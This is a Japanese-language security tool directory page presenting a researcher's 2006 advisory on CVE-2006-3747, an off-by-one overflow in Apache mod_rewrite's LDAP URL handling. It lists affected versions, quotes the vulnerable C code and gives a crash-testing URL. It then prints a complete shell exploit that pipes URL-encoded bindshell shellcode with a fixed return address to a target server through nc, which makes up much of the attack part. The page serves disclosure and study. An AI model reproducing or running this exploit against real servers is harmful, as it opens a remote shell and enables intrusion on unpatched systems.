Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/defensahacker/cve-2006-3747
脆弱性分析エクスプロイトウェブセキュリティペネトレーションテストバイナリエクスプロイト
GitHubdefensahacker/cve-2006-3747

CVE-2006-3747

CVE-2006-3747(Apache mod_rewrite LDAP off-by-one バッファオーバーフロー)に関する私のアドバイザリの情報。。当時、それは最初に公開された実際に動作するエクスプロイトでした :)

リポジトリを見る
225年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2006-3747(Apache mod_rewrite の LDAP off-by-one バッファオーバーフロー)に関する、私の bugtraq への投稿と最初の動作するエクスプロイトのファイル群です。

(http://www.securityfocus.com/archive/1/443870)

  • POC/Exploit 公開日: 2006-08-20
  • 作者: Jacobo Avariento Gimeno
  • CVE ID: CVE-2006-3747
  • Bugtraq ID: 19204
  • CERT アドバイザリ: VU#395412
  • 深刻度: 高
  • CVSS v2 基本値: 7.6 HIGH (AV:N/AC:H/Au:N/C:C/I:C/A:C)

はじめに

2006年7月28日、Mark Dowd(McAfee Avert Labs)は、Apache の mod_rewrite モジュールで発見された脆弱性を bugtraq メーリングリストに報告しました。 脆弱な関数は escape_absolute_uri() です。この問題が発生するのは、mod_rewrite が LDAP URL を処理しているときだけです。不正な形式の LDAP URL は、特定の(特殊な)状況で off-by-one オーバーフローを引き起こす可能性があり、攻撃者は Apache ユーザーの権限でサービス拒否(denial-of-service)を引き起こしたり、任意のコードを実行したりできる可能性があります。 この脆弱性を悪用するために LDAP 固有のルールは必要ありませんが、ユーザーがリマップ後 URL の最初の部分を制御できるルールが必要です。例:

root@kitploit:~
RewriteRule foo/(.*) $1

以下の Apache HTTP サーバーのすべてのバージョンが脆弱です:

  • 1.3 系: >1.3.28 かつ <1.3.37
  • 2.0 系: >2.0.46 かつ <2.0.59
  • 2.2 系: >2.2.0 かつ <2.2.3

脆弱なコードの解析

root@kitploit:~
2696 /* escape absolute uri, which may or may not be path oriented.
2697 * So let's handle them differently.
2698 */
2699 static char *escape_absolute_uri(ap_pool *p, char *uri,
unsigned scheme)
2700 {
2701 char *cp;
2702 ...
...
2727 /* special thing for ldap.
2728 * The parts are separated by question marks. From RFC 2255:
2729 * ldapurl = scheme "://" [hostport] ["/"
2730 * [dn ["?" [attributes] ["?" [scope]
2731 * ["?" [filter] ["?" extensions]]]]]]
2732 */
2733 if (!strncasecmp(uri, "ldap", 4)) {
2734 char *token[5];
2735 int c = 0;
2736
2737 token[0] = cp = ap_pstrdup(p, cp);
2738 while (*cp && c < 5) {
2739 if (*cp == '?') {
2740 token[++c] = cp + 1;
2741 *cp = '\0';
2742 }
2743 ++cp;
2744 }

LDAP URI に5つ目の '?' が含まれる場合、2740行目で off-by-one オーバーフローが発生し、token[5] に書き込みが行われます。この問題を悪用するには、脆弱な Apache のバージョンと特定のスタックフレームレイアウトが必要です。

概念実証

お使いの Apache の脆弱なバージョンが悪用される可能性があるかどうかを確認するには、httpd.conf または .htaccess ファイルに次のルールを記述してください:

root@kitploit:~
RewriteRule kung/(.*) $1

そして、次の URL にアクセスしてみてください: /kung/ldap://localhost/AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA% 3FAAAAAAAAAAAAAAA%3FAAAAAAAAAA%3FAAAAAAAAAA%3FBBBBBBBBBBBBBB

Web サーバーが '302 Found' ページを返さない場合、または error_log に Segmentation Fault が記録された場合、Apache の子プロセスがクラッシュしており、Web サーバーは脆弱で悪用可能です。

エクスプロイト

このエクスプロイトは Apache 1.3.34(Debian sarge パッケージ)で正常に実行されました:

root@kitploit:~
#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
#
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice ;)
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P

echo -e "mod_rewrite apache off-by-one overflow\nby jack <jack\x40gulcas
\x2eorg>\n\n"

if [ $# -ne 1 ] ; then
echo "Usage: $0 webserver"
exit
fi

host=$1

echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6%
31%c0%31 %db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3%
01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04%
31%c0%89%46%10%b0%10%89%46%08% b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66%
b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31%
c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8%
23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76%
08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db%

cd %80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%
77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\nHost:
$host\r\n\r\n" | nc $host 80

~~ Jacobo Avariento Gimeno

ツールをダウンロード